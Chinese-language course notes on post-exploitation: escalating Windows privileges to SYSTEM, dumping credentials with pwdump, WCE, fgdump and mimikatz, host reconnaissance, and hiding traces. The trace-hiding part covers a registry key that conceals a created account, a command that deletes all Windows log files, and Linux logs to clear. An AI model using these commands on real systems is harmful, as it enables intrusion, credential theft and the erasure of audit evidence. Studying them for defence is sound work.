提权与信息收集-安全牛学习笔记,


一、本地提权

Windows下的常见用户

  • user
  • Administrator
  • System

Linux下的常见用户

  • User
  • Root

Windows账户管理命令

  • net user  查看用户信息
  • net localgroup      查看组信息
  • net localgroup Administrators    查看组内账户
  • net user username password /add  创建账号
  • net localgroup power user username  /add  将用户添加到指定用户组中

 

二、Administrator提权至System

命令行

XP

【1】Cmd输入:at 19:39 /interactive cmd 【何时打开system权限的cmd窗口】

【2】打开任务管理器:taskmgr

【3】杀死explorer,然后重新建任务explorer,就是system

Win7,8,10

• sc Create syscmd binPath= "cmd /K start" type= own type= interact//创建服务

• sc start syscmd//启动

工具

SysInternal Suite里常用的工具PsExec、Pinjector等

进程注入

Pinjector

 

 

Pinjector.exe -p 484 555

Kali中:nc -nv IP 555

 

三、密码获取

1 游览器       (自动保存)

2 凭据管理器

3 密码获取工具包     

(1)pwdump localhost

获取Windows SAM数据库中加密的hash密码

(2)WCE(从内存中获取密码,需要管理员权限,到win7,默认情况下都可以随随便便获取密码)

Kali中/usr/share/wce/

• wce-universal.exe -l / -lv #列出uid hash

• wce-universal.exe -d uid #删除

• wce-universal.exe -g aa  #计算aa的•LM/NT hash

• wce-universal.exe -w       #w摘要包明文获取

防止WCE攻击

• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

Wdigest/tspkg这两个项删除,但系统不允许多用户输入

(3)fgdump

Kali中/usr/share/windows-binaries/

运行fgdump.exe ,生成三个文件

(4)mimikatz

Kali中/usr/share/mimikazi

五、信息收集

Linux

• /etc/resolv.conf

• /etc/passwd

• /etc/shadow

• whoami and who –a

• ifconfig -a, iptables -L -n, ifconfig –a, netstat –r

• uname –a, ps aux

• dpkg -l| head

Windows

• ipconfig /all , ipconfig /displaydns, netstat -bnao , netstat –r

• net view , net view /domain

• net user /domain, net user %username% /domain

• net accounts, net share

• net group "Domain Controllers" /domain

• net share name$=C:\ /unlimited    //操作命令,无限制共享

• net user username /active:yes /domain //操作命令,域环境下启动锁定用户

windows下重要数据库

• SAM 数据库 ; 注册表文件

• %SYSTEMROOT%\repair\SAM

• %SYSTEMROOT%\System32\config\RegBack\SAM

• 业务数据库 ; 身份认证数据库

• 临时文件目录

• UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\

Wmic工具

wmic nicconfig get ipaddress,macaddress //获取地址信息

wmic computersystem get username//查看当前账号信息

wmic netlogin get name,lastlogon//查看用户登录信息

wmic process get caption, executablepath,commandline//进程信息查看,及进程产生程序的详细信息

wmic process where name=“calc.exe" call terminate//结束进程

wmic os get name,servicepackmajorversion//查看系统信息

wmic product get name,version

wmic product where name=“name” call uninstall /nointeractive

wmic share get /ALL

wmic /node:"localhost(或其他远程主机名)" path Win32_TerminalServiceSetting where

allowTSConnections="0" call SetAllowTSConnections "1“//开启远程桌面

wmic nteventlog get path,filename, writeable//查看系统文件

 

隐藏痕迹

• 禁止在登陆界面显示新建账号

• REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

NT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /v uname /T

REG_DWORD /D 0

• del %WINDIR%\*.log /a/s/q/f

• History

• 日志

• auth.log / secure

• btmp / wtmp

• lastlog / faillog

• 其他日志和 HIDS 等

相关内容

    暂无相关文章